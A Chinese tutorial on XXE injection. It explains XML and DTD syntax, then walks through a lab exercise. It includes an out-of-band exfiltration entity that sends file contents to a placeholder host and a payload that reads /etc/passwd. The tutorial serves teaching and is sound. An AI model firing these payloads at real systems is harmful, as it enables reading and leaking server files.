文章目录
- 1、XXE漏洞概述
- 1.1 XML定义
- 1.2 XML结果
- 1.2 XML文档格式
- 1.2.1 DTD内部文档声明
- 1.2.2 DTD外部文档声明
- 1.2.3 DTD声明
- 2、实战
1、XXE漏洞概述
XXE(xml external entity injection):即xml外部实体注入漏洞,也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
1.1 XML定义
XML由3个部分构成,它们分别是:
- 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
- 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
- 可扩展链接语言(Extensible Link Language,XLL) 。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义,需要自行定义标签。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计:
- XML被设计用来传输和存储数据,其焦点是数据的内容。
- HTML被设计用来显示数据,其焦点是数据的外观。
1.2 XML结果
XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。
XML总体是由元素(如<message>
)组成;元素可以额外附加属性,需要提前定义;元素中可以引用实体,相当于变量,存在内置变量和自定义变量。例如:
<square width="100" /> &a; </square>
元素 属性 实体
xml中的5个实体引用:
< <
> >
& &
" "
' '
1.2 XML文档格式
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
1.2.1 DTD内部文档声明
当DTD存在于XML源文件中,由以下格式进行包裹<!DOCTYPE 根元素 [元素声明]>
,然后XML文件对于DTD的内容进行引用
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。
1.2.2 DTD外部文档声明
从xml文件外部引入DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
例如:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
1.2.3 DTD声明
DTD可以声明元素、属性和实体:
- 声明元素(标签):
<!ELEMENT...
- 为元素声明属性(标签属性):
<!ATTLIST...
- 声明实体:
<!ENTITY...
(1)DTD声明元素
<!ELEMENT 元素名称 类别>
- 类别:EMPTY,(#PCDATA),(#CDDATA),ANY
- PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
- CDDATA:不会被解析器解析的文本。
- 类别:EMPTY,(#PCDATA),(#CDDATA),ANY
<!ELEMENT 元素名称 (元素内容)>
- 多个元素内容:(子元素名称 1,子元素名称 2,……)
- 元素内容次数:默认只出现一次。
- 最少出现一个:(子元素名称+)
- 出现0次或多次:(子元素名称*)
- 出现0次或1次:(子元素名称?)
- 或:(message|body)
- 混合类别和元素内容:
<!ELEMENT note (#PCDATA|to|from|header|message)*>
(2)DTD声明属性
基本格式:<!ATTLIST 元素名称 属性名称 属性类型 默认值>
- 属性:
- CDATA 值为字符数据 (character data)
- (en1|en2|…) 此值是枚举列表中的一个值
- ID 值为唯一的 id
- IDREF 值为另外一个元素的 id
- IDREFS 值为其他 id 的列表
- NMTOKEN 值为合法的 XML 名称
- NMTOKENS 值为合法的 XML 名称的列表
- ENTITY 值是一个实体
- ENTITIES 值是一个实体列表
- NOTATION 此值是符号的名称
- xml: 值是一个**预定义的 XML 值
- 默认值:
- 值 属性的默认值
- #REQUIRED 属性值是必需的
- #IMPLIED 属性不是必需的
- #FIXED value 属性值是固定的
例如:
<!-- DTD声明 -->
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
<!-- XML使用 -->
<square width="100" />
(3)DTD声明实体
- 命名实体(内部实体):
<!ENTITY 实体名称 "实体的值">
- 外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL">
- 参数实体:
<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
- 外部参数实体:
<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)
<!--- DTD声明--->
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<!ENTITY % file SYSTEM "file://c:/windows/win.ini?%other_file;">
<!--- XML使用--->
<author>&writer;©right;</author>
<!--- 参数实体DTD中使用--->
<!ENTITY % print "<!ENTITY send SYSTEM 'http://x.x.x.x/xxe.xml?c=%file;'>">
2、实战
(1)输入个包含命名实体(内部实体)的xml数据。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙女" > ]>
<foo>&xxe;</foo>
foo
是元素,相当于html中的标签;
xxe
是实体,相当于一个变量,变量的值在DTD已经被赋值了,为“仙女”。
(2)通过抓包,可以看到:浏览器对xml数据进行url编码,以post方式发送给服务端。
(3)分析源代码
可以看到:
- POST传参中xml的值赋给变量
xml
; simple_load_string()
转换形式良好的 XML 字符串为 SimpleXMLElement 对象,并且开启外部实体解析。
(4)通过外部实体读取系统文件。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>